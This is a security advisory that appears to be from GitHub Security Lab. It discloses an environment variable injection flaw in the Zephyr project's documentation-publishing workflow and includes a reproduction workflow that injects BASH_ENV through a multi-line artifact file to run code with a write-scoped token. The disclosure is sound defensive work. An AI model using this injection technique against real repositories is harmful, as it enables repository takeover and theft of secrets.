Coordinated Disclosure Timeline

Summary

Zephyr doc-publish-pr.yml workflow is vulnerable to environment variable injection which may allow an attacker to leak secrets and gain write access to the repository.

Project

Zephyr

Tested Version

Latest commit at the time of reporting.

Details

Environment Variable Injection in doc-publish-pr.yml workflow (GHSL-2024-253)

The doc-publish-pr.yml workflow is triggered when a workflow called “Documentation Build” finishes.

on:
  workflow_run:
    workflows: ["Documentation Build"]
    types:
    - completed

An attacker may create a pull request that modifies the triggering “Documentation Build” workflow and uploads arbitrary artifacts before triggering the Vulnerable workflow. The job doc-publish gets executed if github.repository == 'zephyrproject-rtos/zephyr' but this condition is always true in the context of a workflow_run triggered workflow since it runs in the context of the default branch so it offers no protection.

jobs:
  doc-publish:
    name: Publish Documentation
    runs-on: ubuntu-22.04
    if: |
      github.event.workflow_run.event == 'pull_request' &&
      github.event.workflow_run.conclusion == 'success' &&
      github.repository == 'zephyrproject-rtos/zephyr'

The workflow then runs “Download artifacts” job which downloads the artifacts from the triggering workflow:

    - name: Download artifacts
      uses: dawidd6/action-download-artifact@v6
      with:
        workflow: doc-build.yml
        run_id: ${{ github.event.workflow_run.id }}

The contents of the artifacts are assigned to the `` environment variable without validating that there is no new line characters that could be used to inject new environment variables:

    - name: Load PR number
      run: |
        echo "PR_NUM=$(<pr_num/pr_num)" >> $GITHUB_ENV

Since the contents of the artifact are not validated, an attacker may craft a malicious pr_num/pr_num file with multiple lines on it which will be used to set up new environment variables.

By injecting a new environment variable called BASH_ENV, an attacker will be able to run arbitrary code when the next run: step triggers.

Steps to reproduce

name: Documentation Build

on:
  pull_request:

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - run: |
          cat << 'EOF' > pr_num
          1337
          BASH_ENV="$(id 1>&2)"
          EOF
      - run: |
          cat pr_num
      - name: Upload runtime versions
        uses: actions/upload-artifact@v3
        with:
          name: pr_num
          path: pr_num

Impact

The workflow runs in the context of a full-write GITHUB_TOKEN token:

https://github.com/zephyrproject-rtos/zephyr/actions/runs/11123277587/job/30906392344#step:1:16

GITHUB_TOKEN Permissions
  Actions: write
  Attestations: write
  Checks: write
  Contents: write
  Deployments: write
  Discussions: write
  Issues: write
  Metadata: read
  Packages: write
  Pages: write
  PullRequests: write
  RepositoryProjects: write
  SecurityEvents: write
  Statuses: write

In addition, at least the following secrets would become available to the attacker since they are available to the repo:

Credit

This issue was discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2024-253 in any communication regarding this issue.